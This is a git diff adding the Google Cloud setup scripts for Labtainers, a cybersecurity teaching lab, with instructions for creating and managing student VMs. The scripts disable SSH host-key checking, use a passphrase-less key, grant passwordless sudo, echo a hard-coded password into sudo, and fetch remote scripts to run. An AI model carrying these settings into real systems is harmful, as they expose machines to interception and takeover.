https://cloud.google.com/sdk/docs/quickstart + +Add the google-cloud-sdk/bin directory to your PATH environment variable. For example, +if you put the SDK in your home directory, then add this to your +$HOME/.bash_profile + PATH=$PATH:$HOME/google-cloud-sdk/bin +and then ru + source $HOME/.bash_profile +On Windows, just reopen a new PowerShell window after installing the SDK. + + +Then open a terminal on Mac/Linux, or a PowerShell window on Windows. + +Install the local scripts by getting this script (make it executable on Mac or Linux): + https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install_labtainers.sh +Or on Windows: + https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install_labtainers.ps1 + +On Mac or Linux: + curl -L https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install_labtainers.sh --output install_labtainers.sh + chmod a+x install_labtainers.sh (only on Linux or Mac) +On Windows: + wget https://raw.githubusercontent.com/mfthomps/Labtainers/master/google/install_labtainers.sh -OutFile install_labtainers.ps1 + +And then run it (Mac/Linux). + ./install_labtainers.sh +Windows: + ./install_labtainers.ps1 + +That will create a ~/labtainers_google directory. + +Change to the ~/labtainers_google directory + cd ~/labtainers_google + +Log into your Google Cloud account: + gcloud auth login + +Create a "labtainers" project, your google cloud account: + ./project.sh + +Set your default zone and region (e.g., by editing the set_defaults.sh script) and then use + gcloud init +to initialize your client. + +In the following command examples, use "ps1" instead of "sh" when using PowerShell. + +Once logged into the Google Cloud, run the create_vm.sh (or create_vm.ps1 for windows) script, passing in a user ID. +The ID can be any name without special characters, e.g., + ./create_vm.sh myname + +One Linux/Mac, you will be prompted for an ssh passphase, leave it blank. On Windows, ignore the warnings +about ssh keys. + +The create_vm script may take a while to run. The process is complete when you see “Labtainers is up. +Point a local browser to http://localhost:6901†and perform the labs. +When prompted for a password in the browser, just click submit or OK, i.e., leave the password blank. +The password for the labtainer user in the VM is labtainer. + +When done with labs, run the get_results.sh (or get_results.ps1) script: + ./get_results.sh +This will store your Labtainer results in ~/labtainer_xfer. Provide those +results to your instructor. + +If you become unable to reach the Labtainers via your browser, e.g., after +shutting down your computer, simple use the restart.sh script: + ./restart.sh + +The create_vm.sh script will create an SSH key pair named id_labtainers within your ~/.ssh directory. +The private key in id_labtainers is not passphrase protected, so you must protect it. +You may move the keys to a different computer and access your Labtainers from that computer's +browser. You must first run the install_labtainers.sh script on that computer, and then run +the restart.sh script. + +When done with a lab, use + ./stop_vm.sh +to stop incurring processing charges. Note you may still incur storage charges until the VM is delete. + +To restore a VM after you stopped it, use: + ./start_vm.sh + +When completely done with the VM, use the delete_vm.sh script to stop incurring all charges: + ./delete_vm.sh + +Shutting down the VM without deleting it will not stop all charges, but will stop processing charges. +See the Google Cloud dashboard and pricing for more information. + +Questions? mfthomps at nps.edu diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create.sh new file mode 100755 index 000000000..93f51362f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create.sh @@ -0,0 +1,16 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +cp cloud_init.template cloud_init.txt +gcloud compute instances create $vm_name --image-family=ubuntu-1804-lts \ + --image-project=ubuntu-os-cloud \ + --metadata-from-file=user-data=cloud_init.txt +sleep 2 +gcloud compute ssh labtainer@$vm_name --command='echo "VM created, wait for reboot"' || exit +cp ~/.ssh/google_compute_engine ~/.ssh/id_labtainers +cp ~/.ssh/google_compute_engine.pub ~/.ssh/id_labtainers.pub +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create22.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create22.sh new file mode 100755 index 000000000..cc6e74a48 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create22.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +cp cloud_init.template cloud_init.txt +gcloud compute instances create $vm_name --image-family=ubuntu-2204-lts \ + --machine-type=e2-standard-2 \ + --image-project=ubuntu-os-cloud \ + --metadata-from-file=user-data=cloud_init.txt +echo "wait 40 seconds" +sleep 40 +gcloud compute ssh labtainer@$vm_name --command='echo "VM created, wait for reboot"' || exit +cp ~/.ssh/google_compute_engine ~/.ssh/id_labtainers +cp ~/.ssh/google_compute_engine.pub ~/.ssh/id_labtainers.pub +echo "Now wait until up." +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create24.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create24.sh new file mode 100755 index 000000000..cc6e74a48 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/base_create24.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +cp cloud_init.template cloud_init.txt +gcloud compute instances create $vm_name --image-family=ubuntu-2204-lts \ + --machine-type=e2-standard-2 \ + --image-project=ubuntu-os-cloud \ + --metadata-from-file=user-data=cloud_init.txt +echo "wait 40 seconds" +sleep 40 +gcloud compute ssh labtainer@$vm_name --command='echo "VM created, wait for reboot"' || exit +cp ~/.ssh/google_compute_engine ~/.ssh/id_labtainers +cp ~/.ssh/google_compute_engine.pub ~/.ssh/id_labtainers.pub +echo "Now wait until up." +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.ps1 new file mode 100644 index 000000000..22b2b09f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.ps1 @@ -0,0 +1,22 @@ +If ($args.Count -ne 1){ + echo "checktunnel.ps1 " + exit +} +$user=$args[0] +$suffix = "-labtainervm" +$vm=$user+$suffix +echo "get the IP for $vm" +$ip=./getip.ps1 $vm + +if ($ip -eq "FAIL"){ + echo "Failed to get ip of $vm" + exit 1 +} +$result=netstat -an | Select-String -pattern "6901" +If ($result -eq $null){ + echo "No tunnel, create one." + $fname=$HOME+"\.ssh\id_labtainers" + ./dotunnel.bat $fname $ip +}else{ + echo "Proper tunnel already exists." +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.sh new file mode 100755 index 000000000..dfd2cefaf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/checktunnel.sh @@ -0,0 +1,30 @@ +#!/bin/bash +echo "in checktunnel" +if [ "$#" -ne 1 ]; then + echo "checktunnel.sh " + exit +fi +user=$1 +vm=$user-labtainervm +echo "get the IP" +ip=$(./getip.sh $vm) +echo "ip is $ip" +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +result=$(ps aux | grep ssh | grep 6901) +if [ -z "${result}" ]; then + echo "No tunnel, create one." + ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i "~/.ssh/id_labtainers" labtainer@$ip & +else + if [[ "$result" == *"$ip"* ]]; then + echo "Proper tunnel already exists." + echo $result + else + echo "Tunnel exists but has has wrong IP" + kill $(echo $result | awk '{print $2}') + ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i "~/.ssh/id_labtainers" labtainer@$ip + fi +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/cloud_init.template b/modules/utilities/unix/labtainers/files/Labtainers-master/google/cloud_init.template new file mode 100644 index 000000000..c12733d3a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/cloud_init.template @@ -0,0 +1,73 @@ +#cloud-config +# +# Cloud Config file for Headless Labtainers. Provisions docker, docker-compose and headless labtainers +# +# + +users: + - name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + +system_info: + default_user: + name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + +packages: + - net-tools + +write_files: +- content: | +- content: | + [Unit] + Description=Headless Labtainers + + [Service] + Type=simple + WorkingDirectory=/home/labtainer/headless-labtainers + User=labtainer + ExecStart=/home/labtainer/headless-labtainers/headless-labtainers.sh + + [Install] + WantedBy=multi-user.target + Alias=headless-labtainers.service + path: /etc/systemd/system/headless-labtainers.service + +runcmd: +- apt install -y apt-transport-https ca-certificates curl software-properties-common +- curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +- add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" +- apt update +- cache policy docker-ce +- apt install -y docker-ce +- curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose +- chmod +x /usr/local/bin/docker-compose + +- usermod -aG docker labtainer +- usermod -aG sudo labtainer +- usermod -aG docker ubuntu + +- mkdir /home/labtainer/headless-labtainers +- chown labtainer:labtainer /home/labtainer/headless-labtainers +- wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/premaster/headless-lite/headless-labtainers.sh +- chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh +- systemctl enable headless-labtainers.service +- docker pull labtainers/labtainer.master.headless +- docker pull labtainers/labtainer.base +- docker pull labtainers/labtainer.network +- docker pull labtainers/labtainer.firefox +- docker pull labtainers/labtainer.wireshark +- docker pull labtainers/labtainer.java +- docker pull labtainers/labtainer.centos +- docker pull labtainers/labtainer.lamp +- docker pull labtainers/labtainer.netmon +- docker pull labtainers/labtainer.tap +- docker pull labtainers/labtainer.base2 +- docker pull labtainers/labtainer.network2 +- docker pull labtainers/labtainer.wireshark2 +- docker pull labtainers/labtainer.network.ssh2 +- docker pull labtainers/labtainer.grader +- sed -i 's/GRUB_CMDLINE_LINUX_DEFAULT="console=ttyS0,115200"/GRUB_CMDLINE_LINUX_DEFAULT="console=ttyS0,115200 systemd.unified_cgroup_hierarchy=0"/' /etc/default/grub.d/50-cloudimg-settings.cfg +- update-grub +power_state: + mode: reboot diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.ps1 new file mode 100644 index 000000000..998f96b2c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.ps1 @@ -0,0 +1,26 @@ +# +# Create an gcloud VM for a student, assuming the user has +# an Azure account and the CLI installed. +# +# This will create an ssh key pair and use it when creating the VM +# +If ($args.Count -ne 1){ + echo "create_vm.ps " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$vm_name=$user_id+"-labtainervm" +$zone=./findzone.ps1 +gcloud compute instances create $vm_name --image=https://www.googleapis.com/compute/v1/projects/labtainers/global/images/labtainervm1 --metadata-from-file=user-data=user_config.txt --zone=$zone +gcloud compute disks resize $vm_name --size 30G --zone=$zone -q +# instances fail ssh until settled +# +./waitup.ps1 $user_id 2>$null +echo "Check keys" +gcloud compute ssh labtainer@$vm_name --command="echo VM booted" --strict-host-key-checking=no --zone=$zone +#gcloud compute ssh labtainer@$vm_name --dry-run +echo "Back from ssh" +cp $HOME/.ssh/google_compute_engine $HOME/.ssh/id_labtainers +cp $HOME/.ssh/google_compute_engine.pub $HOME/.ssh/id_labtainers.pub +./waitdone.ps1 $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.sh new file mode 100755 index 000000000..cbaee5f86 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# +# Create a Labtainers VM using the public Labtainers VM +# +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +zone=$(./findzone.sh) +gcloud compute instances create $vm_name --image=https://www.googleapis.com/compute/v1/projects/labtainers/global/images/labtainervm1 \ + --metadata-from-file=user-data=user_config.txt --zone=$zone +gcloud compute disks resize $vm_name --size 30G --zone=$zone -q +# instances fail ssh until settled +./waitup.sh $user_id 2>/dev/null +echo "Check keys" +gcloud compute ssh labtainer@$vm_name --command="echo VM booted" --zone=$zone +cp ~/.ssh/google_compute_engine ~/.ssh/id_labtainers +cp ~/.ssh/google_compute_engine.pub ~/.ssh/id_labtainers.pub +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm_ec.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm_ec.sh new file mode 100755 index 000000000..bb9d38e3a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/create_vm_ec.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# +# Create a Labtainers VM using the public Labtainers VM +# +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +zone=$(./findzone.sh) +gcloud compute instances create $vm_name --image=https://www.googleapis.com/compute/v1/projects/labtainers/global/images/labtainervm7 \ + --metadata-from-file=user-data=user_config.txt --zone=$zone +gcloud compute disks resize $vm_name --size 30G --zone=$zone -q +# instances fail ssh until settled +./waitup.sh $user_id 2>/dev/null +echo "Check keys" +gcloud compute ssh labtainer@$vm_name --command="echo VM booted" --zone=$zone +cp ~/.ssh/google_compute_engine ~/.ssh/id_labtainers +cp ~/.ssh/google_compute_engine.pub ~/.ssh/id_labtainers.pub +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.ps1 new file mode 100644 index 000000000..8e9a77dfa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.ps1 @@ -0,0 +1,9 @@ +If ($args.Count -ne 1){ + echo "delete_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +$zone=./findzone.ps1 +gcloud -q compute instances delete $vm --zone=$zone +echo "VM $vm has been deleted" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.sh new file mode 100755 index 000000000..3275a5b78 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/delete_vm.sh @@ -0,0 +1,9 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "delete_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +zone=$(./findzone.sh) +gcloud -q compute instances delete $vm_name --zone=$zone diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/do_newterm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/do_newterm.sh new file mode 100755 index 000000000..00354987a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/do_newterm.sh @@ -0,0 +1,4 @@ +#!/bin/bash +con=$(echo labtainer | sudo -S docker ps | grep entry | awk '{print $1}') +echo "con is $con" +echo labtainer | sudo -S docker exec $con /bin/bash -c 'export LABTAINER_DIR=/home/labtainer/labtainer/trunk;/home/labtainer/.doterm.sh' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/dotunnel.bat b/modules/utilities/unix/labtainers/files/Labtainers-master/google/dotunnel.bat new file mode 100644 index 000000000..39bcd7a8d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/dotunnel.bat @@ -0,0 +1,3 @@ +set fname=%1 +set ip=%2 +Start ssh -fN -L 6901:127.0.0.1:6901 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i %fname% labtainer@%ip% diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.ps1 new file mode 100644 index 000000000..df0b8251f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.ps1 @@ -0,0 +1,3 @@ +$c = (Select-String -Path "set_defaults.ps1" -Pattern "zone") +$w = ($c -split "=") +echo $w[2] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.sh new file mode 100755 index 000000000..d1e68582d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/findzone.sh @@ -0,0 +1,3 @@ +#!/bin/bash +result=$(cat set_defaults.sh | grep -v "#" | awk -F"=" '{print($3)}') +echo $result | awk '{$1=$1};NF' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.ps1 new file mode 100644 index 000000000..22d876f47 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.ps1 @@ -0,0 +1,18 @@ +If ($args.Count -ne 1){ + echo "get_results.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +echo "Retrieving Labtainer results from $vm" +if (-not(test-path $HOME/labtainer_xfer)){ + mkdir -p $HOME/labtainer_xfer +} +$ip=./getip.ps1 $vm +if ($ip -eq "FAIL" ){ + echo "Failed to get ip of $vm" + exit 1 +} +echo "ip is $ip" +scp -i "$HOME/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -r labtainer@"$ip":/home/labtainer/headless-labtainers/labtainer_xfer/* $HOME/labtainer_xfer/ +echo "Results stored in $HOME/labtainer_xfer" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.sh new file mode 100755 index 000000000..dfee9d3e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/get_results.sh @@ -0,0 +1,17 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "get_results.sh " + exit +fi +user=$1 +vm=$user-labtainervm +echo "Retrieving Labtainer results from $vm" +mkdir -p ~/labtainer_xfer +ip=$(./getip.sh $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +scp -i "~/.ssh/id_labtainers" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -r labtainer@$ip:~/headless-labtainers/labtainer_xfer/* ~/labtainer_xfer/ +echo "Results stored in $HOME/labtainer_xfer" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.ps1 new file mode 100644 index 000000000..5bd34a0b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.ps1 @@ -0,0 +1,9 @@ +$vm=$args[0] +$zone=./findzone.ps1 +$result=gcloud compute instances describe $vm --format='get(networkInterfaces[0].accessConfigs[0].natIP)' --zone=$zone +If ($result -eq $null){ + echo "FAIL" +}else{ + echo $result + echo $result > myip.txt +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.sh new file mode 100755 index 000000000..7f71c9777 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/getip.sh @@ -0,0 +1,10 @@ +#!/bin/bash +vm=$1 +zone=$(./findzone.sh) +result=$(gcloud compute instances describe $vm --zone=$zone --format='get(networkInterfaces[0].accessConfigs[0].natIP)') +if [ -z "${result}" ]; then + echo "FAIL" +else + echo $result + echo $result > myip.txt +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.ps1 new file mode 100644 index 000000000..b9e7953aa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.ps1 @@ -0,0 +1,13 @@ +$gdir = "$HOME\labtainers_google" +if(-Not (test-path $gdir)){ + mkdir -p "$gdir" +} +cd "$gdir" +wget https://github.com/mfthomps/Labtainers/releases/latest/download/google.tar -OutFile $env:TEMP\google.tar +tar -xf $env:TEMP\google.tar +echo "" +echo "Labtainers for Google scripts installed in $gdir" +echo "cd to that directory and run ./create_vm.ps1, passsing in a user name, e.g., " +echo " ./create_vm.ps1 myname" +echo "" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.sh new file mode 100755 index 000000000..ba5f8c68c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/install_labtainers.sh @@ -0,0 +1,12 @@ +#!/bin/bash +gdir=$HOME/labtainers_google +mkdir -p "$gdir" +cd "$gdir" +curl -L https://github.com/mfthomps/Labtainers/releases/latest/download/google.tar --output /tmp/google.tar +tar -xf /tmp/google.tar +echo "" +echo "Labtainers for Google Cloud scripts installed in $gdir" +echo "cd to that directory and run ./create_vm.sh, passsing in a user name, e.g., " +echo " ./create_vm.sh myname" +echo "" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/newterm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/newterm.sh new file mode 100755 index 000000000..7c47f3ed6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/newterm.sh @@ -0,0 +1,17 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "newterm.sh " + echo "Create a new terminal on the VNC desktop." + exit +fi +user=$1 +vm=$user-labtainervm +echo "get the IP" +ip=$(./getip.sh $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +echo scp -i ~/.ssh/id_labtainers do_newterm.sh labtainer@$ip:/tmp/ +scp -i ~/.ssh/id_labtainers -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null do_newterm.sh labtainer@$ip:/tmp/ +ssh -i ~/.ssh/id_labtainers -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labtainer@$ip /tmp/do_newterm.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.ps1 new file mode 100755 index 000000000..30bd2bfc6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.ps1 @@ -0,0 +1,2 @@ +gcloud projects create labtainers +gcloud config set project labtainers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.sh new file mode 100755 index 000000000..30bd2bfc6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/project.sh @@ -0,0 +1,2 @@ +gcloud projects create labtainers +gcloud config set project labtainers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/publishImage.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/publishImage.sh new file mode 100755 index 000000000..6414f87f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/publishImage.sh @@ -0,0 +1,20 @@ +# Create a base labtainer image. +# First: +# delete_vm.sh base24 +# base_create22.sh base24 +# stop_vm.sh base24 +# +# Then use +# gcloud compute instances describe base-labtainervm | grep disks +# to find the disk name, it is a url. +# +# Then +# Cycle through image names. Most recently used should be in the gcloud binding command. +# gcloud compute images create labtainervm5 --source-disk=https://www.googleapis.com/compute/v1/projects/labtainers/zones/us-west1-a/disks/base-labtainervm +# +# Only then run this script +# +# +gcloud compute images add-iam-policy-binding labtainervm1 \ + --member='allAuthenticatedUsers' \ + --role='roles/compute.imageUser' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.ps1 new file mode 100755 index 000000000..faa4aeb71 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.ps1 @@ -0,0 +1,7 @@ +If ($args.Count -ne 1){ + echo "restart.ps1 " + exit +} +$user=$args[0] +./checktunnel.ps1 $user +echo "Point your browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.sh new file mode 100755 index 000000000..fe51510a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/restart.sh @@ -0,0 +1,8 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "delete_vm.sh " + exit +fi +user=$1 +./checktunnel.sh $user || exit 1 +echo "Point your browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.ps1 new file mode 100755 index 000000000..1f0a3d1c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.ps1 @@ -0,0 +1 @@ +gcloud compute project-info add-metadata --metadata google-compute-default-region=us-west1,google-compute-default-zone=us-west1-c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.sh new file mode 100755 index 000000000..0803011b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/set_defaults.sh @@ -0,0 +1,4 @@ +#gcloud compute project-info add-metadata \ +# --metadata google-compute-default-region=us-west1,google-compute-default-zone=xxxxest1-b +gcloud compute project-info add-metadata \ + --metadata google-compute-default-region=us-west1,google-compute-default-zone=us-west1-b diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.ps1 new file mode 100755 index 000000000..489b306ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.ps1 @@ -0,0 +1,10 @@ +If ($args.Count -ne 1){ + echo "start_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +$zone=./findzone.ps1 +gcloud -q compute instances start $vm --zone=$zone +./waitup.ps1 $user +./waitdone.ps1 $user diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.sh new file mode 100755 index 000000000..d069869e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/start_vm.sh @@ -0,0 +1,11 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "start_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +zone=$(./findzone.sh) +gcloud -q compute instances start $vm_name --zone=$zone +./waitup.sh $user_id +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.ps1 new file mode 100755 index 000000000..493a0bb41 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.ps1 @@ -0,0 +1,8 @@ +If ($args.Count -ne 1){ + echo "stop_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +$zone=./findzone.ps1 +gcloud -q compute instances stop $vm --zone=$zone diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.sh new file mode 100755 index 000000000..baba3fcf8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/stop_vm.sh @@ -0,0 +1,9 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "stop_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +zone=$(./findzone.sh) +gcloud -q compute instances stop $vm_name --zone=$zone diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/user_config.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/google/user_config.txt new file mode 100644 index 000000000..b19332d96 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/user_config.txt @@ -0,0 +1,13 @@ +#cloud-config +# +# Cloud Config file for Headless Labtainers. Assumes using published labtainervm image. +# +# +users: + - name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + +system_info: + default_user: + name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.ps1 new file mode 100644 index 000000000..640f3176e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.ps1 @@ -0,0 +1,20 @@ +If ($args.Count -ne 1){ + echo "waitdone.ps1 " + exit +} +$user=$args[0] +./checktunnel.ps1 $user +if(test-path index.html){ + remove-item index.html +} +Write-Host -NoNewLine "Waiting for remote Labtainers to become available. Please be patient." +while($true){ + try{Invoke-WebRequest -Uri http://localhost:6901 -OutFile index.html} + catch{Write-Host -NoNewLine "."} + if (test-path index.html){ + echo "Web server is up." + break + } + Start-Sleep -s 20 +} +echo "Labtainers is up. Point a browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.sh new file mode 100755 index 000000000..2db3ed8c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitdone.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo 